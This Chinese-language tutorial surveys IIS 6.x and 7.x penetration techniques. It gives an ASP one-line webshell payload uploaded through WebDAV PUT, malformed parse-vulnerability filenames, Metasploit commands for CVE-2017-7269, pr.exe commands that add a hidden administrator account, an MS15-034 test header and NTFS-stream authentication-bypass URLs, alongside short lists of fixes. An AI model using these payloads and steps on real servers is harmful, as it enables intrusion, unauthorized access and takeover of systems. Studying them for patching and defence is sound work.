IIS渗透合集
字数 1818 2025-08-09 19:33:17
IIS渗透技术全面指南
目录
IIS安装配置
IIS 6.X安装
- 运行环境:Windows Server 2003
- 安装特点:需要额外插件支持
- 安装完成后默认界面为基本管理控制台
IIS 7.X安装
- 运行环境:Windows 7/Server 2008 R2等
- 安装包:IIS7-win7-x64
- 与PHP集成:可使用phpstudy进行联动配置
- 需要以管理员身份运行
- 需开启对应文件扩展名支持
- 默认端口可能为8980
IIS 6.X渗透技术
写权限漏洞
漏洞原理:
- 由开启WebDAV引起
- 允许攻击者通过PUT方法任意上传文件
利用步骤:
- 确认服务器开启WebDAV和写入权限
- 使用工具发送PUT请求上传文件
<%e val request("a001")%> - 上传txt文件后重命名为asp
- 使用蚁剑等工具连接webshell
防御措施:
- 关闭WebDAV服务
- 关闭目录写入权限
解析漏洞
文件解析漏洞:
- 畸形文件名如
*.asp;.xxx会被当作asp文件执行 - 示例:
a001.asp;.jpg→ 实际执行a001.aspa001.asp;.zip→ 实际执行a001.zip
目录解析漏洞:
- 以
.asp命名的文件夹中所有文件都会被当作asp执行 - 示例:
- 创建
1.asp目录 - 将文本文件放入该目录即可被解析执行
- 创建
防御措施:
- 设置严格目录权限
- 禁止新建特定目录
- 上传文件强制重命名(时间戳+随机数+后缀)
短文件漏洞
漏洞原理:
- 攻击者可利用
~字符猜解服务器文件名 - 支持HTTP方法:DEBUG、OPTIONS、GET、POST、HEAD、TRACE
- IIS8.0+仅支持OPTIONS和TRACE方法
利用工具:
修复建议:
- 关闭NTFS 8.3文件格式支持:
- Win2003:
fsutil behavior set disable8dot3 1 - Win2008+:
fsutil 8dot3name set 1
- Win2003:
- 修改注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 设置NtfsDisable8dot3NameCreation=1
局限性:
- 文件名过短无法猜解
- 只能确定前6个字符
- 不支持中文文件名
CVE-2017-7269远程代码执行
影响范围:
- Windows Server 2003 R2 + IIS6.0 + 开启WebDAV
复现步骤:
- 使用Python2 exp:IIS_exploit
- 修改目标IP和端口
- 执行后验证进程创建(如calc.exe)
MSF利用:
- 下载cve-2017-7269.rb
- 放入Metasploit模块目录:
/usr/share/metasploit-framework/modules/exploits/windows/iis/ - 使用模块:
use exploit/windows/iis/cve_2017_7269 set rhosts <target_ip> exploit
提权操作:
- 上传pr.exe工具
- 创建用户:
pr.exe "net user a002 963852 /add" - 添加到管理员组:
pr.exe "net localgroup administrators a002 /add"
IIS 7.X渗透技术
解析漏洞
漏洞原理:
- Fast-CGI模式下,在任意文件后加
/php会解析为php - 示例:
a001.jpg/.php
修复建议:
- 配置
cgi.fix_pathinfo=0并重启php-cgi
HTTP.SYS远程代码执行(MS15-034)
影响范围:
- IIS7.5、IIS8.0、IIS8.5
- Windows Server 2008 R2/2012/2012 R2
- Windows 7/8/8.1
验证方法:
- 发送特殊HTTP头:
Range: bytes=0-18446744073709551615 - 返回416状态码表示存在漏洞
修复建议:
- 安装KB3042553补丁
认证绕过漏洞
三种绕过方式:
- PHP环境绕过:
/admin::$INDEX_ALLOCATION/index.php - 经典ASP绕过:
/admin:$i30:$INDEX_ALLOCATION/index.asp - .NET环境绕过:
/admin:$i30:$INDEX_ALLOCATION/admin.php
复现步骤:
- 禁用匿名身份验证
- 正常访问返回401
- 使用特殊路径绕过:
http://IP/a001:$i30:$INDEX_ALLOCATION/index.php
组合漏洞利用
场景:
- 限制上传和访问php文件
利用方法:
- 上传aspx文件包含php代码
- 结合认证绕过和解析漏洞:
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php
防御措施总结
- 及时安装安全补丁
- 关闭不必要的服务(如WebDAV)
- 严格限制上传目录权限
- 禁用不必要的HTTP方法
- 配置安全的文件解析规则
- 关闭NTFS 8.3短文件名支持
- 实施严格的认证授权机制
- 对上传文件进行重命名和内容检查
最佳实践:
- 定期进行安全审计
- 使用WAF等防护设备
- 保持系统和服务组件更新
- 遵循最小权限原则配置服务